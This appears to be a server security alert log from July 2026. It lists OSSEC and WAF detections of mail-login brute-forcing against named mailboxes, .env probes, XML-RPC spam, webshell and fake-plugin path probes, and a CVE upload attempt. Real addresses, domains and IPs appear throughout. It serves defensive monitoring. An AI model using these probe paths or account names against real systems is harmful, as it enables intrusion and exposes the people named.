2026-07-16 15:22:16 dovecot_login authenticator failed for H=([182.95.106.102]) [205.250.25.62]:45560: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-16 15:22:40 dovecot_login authenticator failed for H=([203.124.32.243]) [103.83.23.169]:56005: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-16 15:23:57 dovecot_login authenticator failed for H=([221.161.142.77]) [103.206.131.33]:36545: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-16 15:24:48 dovecot_login authenticator failed for H=([65.20.205.197]) [65.20.134.97]:60253: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-16 15:25:21 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([115.241.65.249]) [67.85.146.216]:33096: 535 Incorrect authentication data


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 35.153.205.82
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/103.185.74.189/.env||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.103.2
country_id: 1835841
description:
2026-07-16 15:26:22 dovecot_login authenticator failed for H=(nsg-corporate-201.0.185.122.airtel.in) [121.189.103.2]:47162: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-16 15:26:33 dovecot_login authenticator failed for H=([36.135.62.94]) [125.23.255.134]:53160: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.115.191.84
country_id: 1835841
description:
2026-07-16 15:27:10 dovecot_login authenticator failed for H=([70.166.167.49]) [211.115.191.84]:38380: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 118.99.84.43
country_id: 1643084
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38139.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea8aa3150c4aeb426266355b585934e2fa1ddfa6||Title:0x7d5867bf||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-16 15:31:19 dovecot_login authenticator failed for H=(109.43.246.220.static.netvigator.com) [65.20.143.45]:57575: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 15:38:07 dovecot_login authenticator failed for H=(193.208.165.103.net.iforte.net.id) [106.247.22.181]:55247: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.76.16.216
country_id: 1522867
description:
2026-07-16 15:37:17 dovecot_login authenticator failed for H=([183.236.75.189]) [5.76.16.216]:56288: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.42.227.251
country_id: 3175395
description:
2026-07-16 15:37:27 dovecot_login authenticator failed for H=93-42-227-251.ip88.fastwebnet.it ([114.202.80.152]) [93.42.227.251]:55297: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-16 15:37:44 dovecot_login authenticator failed for H=(111-70-3-108.emome-ip.hinet.net) [102.210.148.41]:35950: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-16 15:41:10 dovecot_login authenticator failed for H=([49.124.132.53]) [128.185.220.90]:40480: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-16 15:41:22 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([220.80.246.94]) [78.67.161.64]:53262: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-16 15:41:34 dovecot_login authenticator failed for H=([220.180.107.193]) [172.90.128.97]:56274: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.129
country_id: 1269750
description:
2026-07-16 15:45:44 dovecot_login authenticator failed for H=([188.226.132.113]) [122.187.229.129]:56486: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.125.179
country_id: 587116
description:
2026-07-16 15:46:00 dovecot_login authenticator failed for H=([166.143.59.227]) [31.171.125.179]:50610: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.63.128
country_id: 6251999
domain: arcrealtors.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/arcrealtorscom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-16 15:48:18 dovecot_login authenticator failed for H=(132.251.223.60.adsl-pool.sx.cn) [94.16.17.139]:49078: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-16 15:51:15 dovecot_login authenticator failed for H=(ol182-153.fibertel.com.ar) [190.157.13.210]:55902: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.109
country_id: 6252001
description:
2026-07-16 15:51:22 dovecot_login authenticator failed for H=wsip-72-215-46-109.pn.at.cox.net ([70.166.167.50]) [72.215.46.109]:40084: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-16 15:51:40 dovecot_login authenticator failed for H=([218.201.226.254]) [196.190.180.18]:34964: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-16 15:51:56 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi (111-70-38-53.emome-ip.hinet.net) [80.223.200.184]:48180: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 31.167.132.86
country_id: 102358
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30574.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:68a1e25bf6fa03416dc9256eb9bdd53e9d5cdc2c||Title:0x4da05b53||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-16 15:55:40 dovecot_login authenticator failed for H=([36.158.178.223]) [182.95.102.190]:41722: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.171
country_id: 1733045
description:
2026-07-16 15:56:07 dovecot_login authenticator failed for H=([72.206.74.97]) [49.124.154.171]:55550: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-16 15:55:31 dovecot_login authenticator failed for H=([180.94.76.126]) [196.207.177.56]:40900: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 15:56:45 dovecot_login authenticator failed for H=([218.92.251.198]) [188.122.37.97]:35198: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-16 16:01:09 dovecot_login authenticator failed for H=([104.37.135.150]) [1.237.155.150]:60034: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-16 16:01:19 dovecot_login authenticator failed for H=([211.63.34.149]) [210.123.87.143]:53740: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.175.150.242
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap541.xml HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-16 16:04:28 dovecot_login authenticator failed for H=(dynamic-acs-24-101-161-16.zoominternet.net) [182.95.101.182]:49062: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.143.208.202
country_id: 6252001
description:
2026-07-16 16:10:06 dovecot_login authenticator failed for H=47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net ([182.95.12.178]) [47.143.208.202]:53824: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.111.223.51
country_id: 2635167
description:
2026-07-16 16:10:32 dovecot_login authenticator failed for H=cpc145672-oxfd28-2-0-cust818.4-3.cable.virginm.net ([222.124.249.132]) [81.111.223.51]:55936: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-16 16:10:45 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([192.111.129.146]) [64.207.225.55]:36526: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-16 16:15:47 dovecot_login authenticator failed for H=([192.252.210.237]) [41.219.149.74]:54306: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-16 16:16:14 dovecot_login authenticator failed for H=([14.97.77.182]) [182.95.217.202]:52804: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: www.ahsmarine.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-16 16:23:01 dovecot_login authenticator failed for H=([174.75.211.217]) [182.95.123.50]:56012: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77469916
abuser: 188.119.13.173
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcedrkzr4pq.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 212.70.119.196
country_id: 289688
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45459.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:150928c274ca3deb6c104d6f90848ce686c7867a||Title:0x86b1548b||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 212.70.119.196
country_id: 289688
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67852.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:65254ba10f821a6f7193eb87ed2516043e70cd7f||Title:0x819252d1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-16 16:35:59 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [182.95.150.106]:41674: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-16 16:36:10 dovecot_login authenticator failed for H=([49.124.147.249]) [125.23.155.110]:33198: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.0.4.69
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/retail-and-hospitality HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.33.190.29
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a52732728 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.98.52
country_id: 2510769
description:
2026-07-16 16:43:25 dovecot_login authenticator failed for H=([49.125.201.77]) [185.229.98.52]:38143: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-16 16:49:51 dovecot_login authenticator failed for H=([36.249.60.142]) [64.49.97.15]:59180: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-16 16:49:51 dovecot_login authenticator failed for H=(c-71-229-1-186.hsd1.al.comcast.net) [74.209.100.246]:50776: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-16 16:49:53 dovecot_login authenticator failed for H=([103.117.155.41]) [122.176.45.238]:54154: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-16 16:49:37 dovecot_login authenticator failed for H=(broadband.actcorp.in) [115.43.150.20]:55634: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-16 16:49:47 dovecot_login authenticator failed for H=([103.187.78.189]) [165.101.222.22]:46164: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.46
country_id: 1668284
description:
2026-07-16 16:50:14 dovecot_login authenticator failed for H=111-70-32-46.emome-ip.hinet.net ([182.95.87.80]) [111.70.32.46]:56010: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-16 16:50:20 dovecot_login authenticator failed for H=(78-66-44-246-no2550.tbcn.telia.com) [182.95.116.66]:44670: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.82.11.28
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f03469853 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-16 16:52:16 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([142.54.229.253]) [218.103.36.176]:51697: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.111.223.51
country_id: 2635167
description:
2026-07-16 16:52:36 dovecot_login authenticator failed for H=cpc145672-oxfd28-2-0-cust818.4-3.cable.virginm.net ([41.65.118.172]) [81.111.223.51]:35632: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 188.3.66.132
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26684.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d6ad6cecf012945551db6129e164fb62efed809||Title:0xdb74ed09||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-16 16:53:48 dovecot_login authenticator failed for H=([13.68.214.34]) [1.237.155.150]:49698: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.77.163
country_id: 1269750
description:
2026-07-16 16:54:22 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [116.74.77.163]:52439: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-16 16:54:30 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [125.23.255.134]:39942: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-16 16:54:17 dovecot_login authenticator failed for H=([178.216.165.187]) [122.185.101.50]:47388: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-16 16:55:16 dovecot_login authenticator failed for H=([49.124.148.193]) [64.49.97.15]:57136: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-16 16:55:28 dovecot_login authenticator failed for H=(70-89-116.5-BusName-WA.hfc.comcastbusiness.net) [217.29.30.135]:56393: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-16 16:56:25 dovecot_login authenticator failed for H=([68.71.251.130]) [89.121.255.194]:12042: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-16 16:56:34 dovecot_login authenticator failed for H=([59.0.127.4]) [119.152.102.54]:39317: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 82.102.18.220
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.29||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 17:01:26 dovecot_login authenticator failed for H=(70.210.245.58.adsl-pool.jlccptt.net.cn) [182.95.61.82]:48204: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-16 17:01:35 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([49.124.148.187]) [83.208.70.70]:50489: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-16 17:02:53 dovecot_login authenticator failed for H=([218.58.73.238]) [65.20.204.41]:58454: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.40.244.153
country_id: 298795
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:49778.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:91c9338a0d6fa8c5ea2a59826e74e5b645808185||Title:0x5e1c9576||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.22
country_id: 1835841
description:
2026-07-16 17:10:42 dovecot_login authenticator failed for H=([193.114.134.130]) [59.0.127.22]:37612: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.166.23
country_id: 1522867
description:
2026-07-16 17:11:16 dovecot_login authenticator failed for H=92.47.166.23.dynamic.telecom.kz (41.215.125.250.accesskenya.com) [92.47.166.23]:58615: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.161.150.2
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/about-us HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-16 17:13:45 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (5-100-120-147.ipoe.vladlink.net) [200.105.141.172]:39302: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-16 17:13:29 dovecot_login authenticator failed for H=([103.168.241.32]) [212.132.64.89]:38318: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.173.79.151
country_id: 597427
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:17-16.158.173.79.151||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-16 17:16:10 dovecot_login authenticator failed for H=([67.201.57.102]) [182.95.181.26]:50550: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.205
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.190
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/uploads/94056-upload.phtml||SC:/home/alnay/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-16 17:19:28 dovecot_login authenticator failed for H=([153.37.177.219]) [188.122.39.33]:48192: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.154.138.205
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.154.138.205
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-16 17:19:45 dovecot_login authenticator failed for H=([103.148.206.99]) [94.16.17.141]:52442: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-16 17:19:12 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com ([49.124.145.62]) [213.66.196.11]:33946: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-16 17:19:33 dovecot_login authenticator failed for H=([111.26.115.124]) [78.187.9.111]:42634: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-16 17:19:41 dovecot_login authenticator failed for H=([36.135.103.30]) [72.239.145.229]:58068: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.232
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-includes/images/smilies/index.php||SC:/home/alnay/public_html/wp-includes||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.232
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/about.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.190
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/admin/upload/css.php||SC:/home/alnay/public_html/admin||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.190
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autoload_classmap.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.232
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.203
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/file.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 17:21:34 dovecot_login authenticator failed for H=([36.42.67.114]) [103.90.27.83]:40208: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.232
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/images/index22.php||SC:/home/alnay/public_html/images/index22.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.77.163
country_id: 1269750
description:
2026-07-16 17:21:28 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.74.77.163]:62544: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-16 17:21:12 dovecot_login authenticator failed for H=([182.95.87.177]) [36.39.140.2]:36634: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.240.199
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f701667 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
